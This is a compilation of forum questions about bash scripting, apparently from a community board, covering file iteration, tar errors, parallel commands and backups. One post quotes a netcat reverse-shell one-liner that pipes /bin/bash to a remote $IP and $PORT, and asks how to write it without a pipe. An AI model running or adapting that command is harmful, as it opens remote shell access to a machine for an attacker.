Trying to iterate through folders until a file is found

So i have a collection of folders that have files at different depths, and I'm trying to iterate through them in such a way that I can recursive perform some operations in the folder that contains said files. I'm able to do this with for dir in */ or find if they are all at the same depth, but I can't seem to figure out how to do it when the files are arbitrarily deep (well, maximum of 5 or so levels). My filesystem looks a bit like this:

/rock/artist1/songs.mp3
/rock/artist2/album/songs.mp3
/pop/artist1/songs.mp3
/pop/artist2/album/disc1/songs.mp3
/pop/artist2/album/disc2/songs.mp3

And so on.
So basically I want to iterate through an entire directory with sub directories and identify all directory paths that contain *.mp3 files, and not ones that don't contain any. Then I'll execute, for instance, normalize "$dir/*.mp3"

This seems like something that should be relatively easy, but I can't seem to figure it out. My files do have white spaces in the names, so a solution that takes that into account is ideal. Though I suppose I just go through and replacing all " " with "_" if I really need to.

Thanks for your consideration.

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tar error "Exiting with failure status due to previous errors"

When I use 1st tar -cvfz output filename directory to backup I get a bunch of file paths/names that scroll quickly by, then it stops and says 10mg tar: Exiting with failure status due to previous errors. I googled this error message and people said not to use verbose so you can see more info about the error. So I ran tar -cfz [output filename] [directory to backup] and got

tar: ./flash64/raro-docker.tar.gz: Cannot stat: No such file or directory
tar: Exiting with failure status due to previous errors

I know the "c" in "-cfz" means "create file" so I was puzzled by this but I went ahead and touched the file then reran the command. Good news: the command ran all the way through with no error messages. Bad news: the output file is a zero byte file.

I've tried backing up sub-subdirectories of the docker container (e.g. ~/docker/containers/caddy) but I get the same error. Can anyone tell me what’s going wrong and how I can fix it?

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Store the output of command in a variable to then perform calculation on it?

The following is a command with ffmpeg/ffprobe to get the bitrate of a video file. The problem is that the result is in bits, instead of kilobits.

`ffprobe -v quiet -select_streams v:0 -show_entries stream=bit_rate -of default=noprint_wrappers=1 inputvideo.mp4`

Output:
`bit_rate=19858777`

I tried to the following:
`br=$(ffprobe -v quiet -select_streams v:0 -show_entries stream=bit_rate -of default=noprint_wrappers=1 inputvideo.mp4)`

Extract value after 'bit_rate=', the following failed to extract/display the value 198...
`echo {($br)#*=}`

Main goal is divide the integer by 1000 to get the kbps.

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Just for fun: cowsay and dad jokes

I am forever amused by *cowsay*, which can be installed with your favorite package manager (e.g. apt install cowsay). I combined it with a REST call to a dad joke API:

$ cat which dadjoke
foo=$(curl -s -H "Accept: text/plain" https://icanhazdadjoke.com/)
/usr/games/cowsay $foo

And produces output thusly:

$ dadjoke

/ Did you hear about the new restaurant \
| on the moon? The food is great, but |
\ there’s just no atmosphere. /
---------------------------------------
\ ^^
\ (oo)\
()\ )\/\
||----w |
|| ||

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(I don't really know how to name this post but) how to execute more commands after entering a process?

Ok so I have a noscript where I want to play a song using mpv and then do something else after but after I play the song using mpv, I am stuck inside of the mpv process and everything after the mpv command doesn't run. So when I run the command I get stuck here and nothing after mpv runs.





https://preview.redd.it/oibpb02jagia1.png?width=266&format=png&auto=webp&v=enabled&s=6f69d74da345b4d86133e018654ba165b6c09dda

The noscript looks something like this

mpv path/to/song
cd folder/
.....

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How to 'refresh' connection between two consecutive WGET commands

I use WGET to download a first file, then read the second line of this file (which is a URL) and WGET that again.

Both of these point to different URLs of same website. The first WGET works, but the second one fails and tells me that it failed with error as below

Reusing existing connection to website.com:443.
HTTP request sent, awaiting response... 404 Not Found
ERROR 404: Not Found.

But if I happen to run that exact command independently in a separate noscript it works. I think that it's because it's doing the Reusing existing connection to website. so how do I avoid this?

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Write a bash noscript which runs other bash noscripts one after the other?

In python and other languages I can write two noscripts, and then reference them in a main() function and run them one after the other.

is there an equivalent in bash?

Is it like below?

#!/bin/bash

# Run noscript1.sh
./noscript1.sh

# Run noscript2.sh
./noscript2.sh

​

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Killport - A Simple Script to Kill Processes on a Port

Have you ever encountered the issue of not being able to start a process because the port is already in use? Killport is a simple noscript that allows you to quickly kill any process running on a specified port.

Using Killport is easy. Simply provide the port number as a command-line argument and the noscript will automatically find and kill any process running on that port. The noscript works on both macOS and Linux, and it is easy to install.

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killport

Give it a try and let me know what you think.

give a ✨ star, if you liked it. Github

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Question How would I rewrite this command using no pipe?

Hey, today I wanted to create a tcp shell. But I don't want to write the pipe (|) symbol. Is there a way to restructure this command without breaking its functionality?

nc $IP $PORT < myfifo | /bin/bash -i > myfifo 2>&

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How can I run commands in parallel and write the output of each command to different linux terminals, one linux terminal for each command running in parallel.

I want to run commands in parallel with a bash noscript. I know adding the ampersand allows to run a command in background and continue with the noscript without waiting for the launched process to finish. I think the processess launched in background with ampersand do not output a log on a terminal though.

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Is there any way to launch several commands in parallel while the output/log of each command is written to a different terminal window? I would like to see the logs of each process launched in parallel after all of them finish their execution.

Thanks

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Turbocharge your terminal productivity with zsh-autosuggestions! (1mn)

https://www.youtube.com/watch?v=0r1mxuAzqS0

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fun with sed/awk

i do have to say it is a bit frustrating that some binaries in freeBSD/macOS dont translate over to other *nixs..probably licensing, however..

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i have out input in a var that reads as below, new lines and spaces:-


this is string 1
this is string two
this is string threeee

​

and so forth, i have been able to get them on to one line and get quotes on the end in the standard macOS bash scrpit, but for the love of god, i cant get it into the right format, i've tried awk, sed and tr.

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what i need:

"this is string 1" "this is string two" "this is string threee"

grateful for any ideas..

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Show Output for Two Simultaneous Uploads

I have a noscript that uploads a file, at the same time, to two different platforms. I want to be able to see the progress of both uploads, at the same time. Here is part of my noscript:

#When the transfer is complete, attempt upload the mp4:
if [[ ! -f $SAJSON ]];
then
echo -e "No json file found. Not uploading. Please manually upload."
elif [[ {$OUTPUT} = *"Movie Info"* ]]; then
cp $SRVPATH/Archive/$yyyy/$EMAILFILENAME.mp4 \
$SRVPATH/Archive/$yyyy/$SA-ID.mp4
{ echo -e "Uploading to SA...\n" & \
rclone move $SRVPATH/Archive/$yyyy/$SA-ID.mp4 \
sa-auto:sa-id-text -P -v & echo -e "Uploading to YouTube...\n" & \
youtubeuploader -filename $SRVPATH/Archive/$yyyy/$EMAILFILENAME.mp4 \
-secrets $SRVPATH/AppData/youtubeuploader/client_secrets.json \
-cache $SRVPATH/AppData/youtubeuploader/request.token \
-metaJSON $YTJSON; } 2>&1
echo -e "\nDone.\n"
echo -e "Removing ${SAJSON##*/} & ${YTJSON##*/}\n"
rm $SAJSON $YTJSON
echo "Done."
fi

As you can see, I attempted `{ echo & command1 & echo & command2; } 2>&1` but it produces:

Uploading to SA...

Uploading to YouTube...

Uploading file '/srv/dev-disk-by-uuid-49e4aa1a-279a-45ce-b23e-467c2b2a4162/Archive/2023/2023-02-19_14-45-23.mp4'

And the rest is just the transferring status of YouTube only (I think; maybe it's a mixture?). Once YouTube completes, then it shows the other platform upload, but it als shows a weird mixture of both (my comments in the code):

Uploading to SA...

Uploading to YouTube...

#This is is YouTube:
Uploading file '/srv/dev-disk-by-uuid-49e4aa1a-279a-45ce-b23e-467c2b2a4162/Archive/2023/2023-02-19_14-45-23.mp4'
#This is SA platform:
2023-02-17 14:10:07 INFO : 2172307128007.mp4: Copied (new)
2023-02-17 14:10:07 INFO : 2172307128007.mp4: Deleted
#I'm not sure what this is:
Transferred: 56.265 MiB / 56.265 MiB, 100%, 622.384 KiB/s, ETA 0s
Checks: 2 / 2, 100%
Deleted: 1 (files), 0 (dirs)
Renamed: 1
Transferred: 1 / 1, 100%
Elapsed time: 1m18.0s
2023/02/17 14:10:07 INFO :
Transferred: 56.265 MiB / 56.265 MiB, 100%, 622.384 KiB/s, ETA 0s
Checks: 2 / 2, 100%
Deleted: 1 (files), 0 (dirs)
Renamed: 1
Transferred: 1 / 1, 100%
Elapsed time: 1m18.0s

#This is the SA platform (using Dropbox):
2023/02/17 14:10:07 INFO : Dropbox root 'sa-id-text': Commiting uploads - please wait...
Progress: 9.57 Mbps, 58998558 / 58998558 (100.000%) ETA 0s
#This is YouTube again:
Upload successful! Video ID: asdfghjkl
Video added to playlist 'Playlist Title' (qwertyuio-)

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Script to change system spelling language

Right now I'm using an AppleScript to do this, but the noscript is a bit long to execute, plus it shows some UI elements and I'd like for the process to be hidden.

Is there a defaults write command that would allow to toggle the system spelling language between US English and French?, or at least to switch from one to the other?

Thanks.

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posix Properly store positional arguments in string

I have the following noscript:

cmd="rg --ignore-case --files-with-matches {q} $@"

file=$(
FZFDEFAULTCOMMAND="rg --files $@" fzf \
--bind "ctrl-a:select-all" \
--bind "change:reload:$cmd" \
--disabled \
--preview "rg --ignore-case --pretty --context 2 {q} {}"
)

Here I store the positional arguments (paths for rg to search from) into the string variable $cmd, which is then passed as a literal string in --bind "change:reload:$cmd" \. However, shellcheck throws an error regarding assigning array to string that I don't understand if it's relevant.

To test, I made a directory with a space in its name and ensures it should containing a match, then past this as an argument to the noscript quoted. Sure enough, it doesn't show up so apparently the directory named "test me" is not interpreted as "test" "me" where the quotes are lost.

So is the issue here that "quotes" are lost since POSIX doesn't support arrays, making everything space delimited, which is problematic when you also have spaces in the arguments? How would I go about properly storing the positioning arguments with them quoted to account for spaces in the cmd string then? I'm pretty sure the suggested solution from shellcheck does not apply--the page doesn't mention any sort of quoting issue either.

Essentially, the line --bind "change:reload:$cmd" \ should be expanded to e.g.

--bind "change:reload:rg --ignore-case --files-with-matches {q} '/home/user/bin' '/home/user/test me'" \

when the noscript is passed the arguments: ~/bin "~/test me"

Much appreciated.

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File with a variable of the date as part of the filename.

I am trying to use bash to create a backup of an existing file with a variable of the date as part of the filename.

    #!/bin/bash
    dateandtime= date +%F-%H-%M-%S
    sudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist${dateandtime}.bak
    echo "Mirror file backup created: /etc/pacman.d/mirrorlist${dateandtime}.bak"
    sudo reflector --latest 20 --protocol https --sort rate --save /etc/pacman.d/mirrorlist
    echo "Mirror list update complete."

This is the output I get

    Mirror file backup created: /etc/pacman.d/mirrorlist.bak

When looking in the file directory with a file manager I can see that is the only file that exists and it just keeps getting overwritten. sorry if this is a silly issue but I'm new to bash and I looked for about an hour on various forums and how to guides but was not able to find the solution.

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Need helping figuring out what's wrong with this noscript on MacOS

I'm currently trying to turn some bash noscript that's in the form of a '.command' file into an App/Quickaction that can be run, using Automator on MacOS.

This is the original noscript: \(pastbin link\)

This is as far as I've gotten: \(pastebin link\)

When running the noscript, the finder window appears to choose a folder, I get a GUI popup to input a password, but then I get this error:

The action “Run Shell Script” encountered an error: “-: -c: line 143: syntax error: unexpected end of file”

I'm not really sure how to end this noscript, googling is not helping in this specific case either.

Any help would be appreciated!

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How to force a noscript to wait for its child gnome-terminal windows to finish before continuing its own execution

How can I force a noscript to wait for its child gnome-terminal windows to finish before continuing its own execution? When I run the noscript below, the father noscript does not wait for the children to finish execution and outputs "Finished" while they are still running.

I have this code:
gnome-terminal -- bash -c "cd /home;find . -name "foo" | tee /home/$USER/log-home.txt";
gnome-terminal -- bash -c "cd /home/$USER; find . -name "foo" | tee /home/$USER/log-$USER.txt";
wait;
echo "Finished";

Thanks

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mapping to control key

Hi,

is it possible to map a function key (f9 say) to a key with control-prefix (control-n say)?

I have tried

bind "\e20~":"\C-n"

But that does not work...

Many thanks.

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Trouble finding info on for loops that include and print out user input?

I can't seem to find any examples online of a noscript that repeats user input to stdout a certain number of times??

#!/bin/bash
# Display message 5 times
for ((i = 0 ; i < 5 ; i++)); do
echo "Welcome $i times."
done

Here's a C-style for loop but what if I want to repeat a string, like "look at this repeat" for a set amount of times? I feel incredibly dumb I can't do this.

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Bash on M2 not accepting multi-line code.

Previously, I've always been able to paste my noscripts into iTerm/ Bash 5 without issue. Ever since migrating from the 2018 mini to the 2023 M2 Mac mini, no multi-line code seems to work. I'm even having trouble running noscripts "./mynoscript.sh" after chmod of 777. Am I going crazy?

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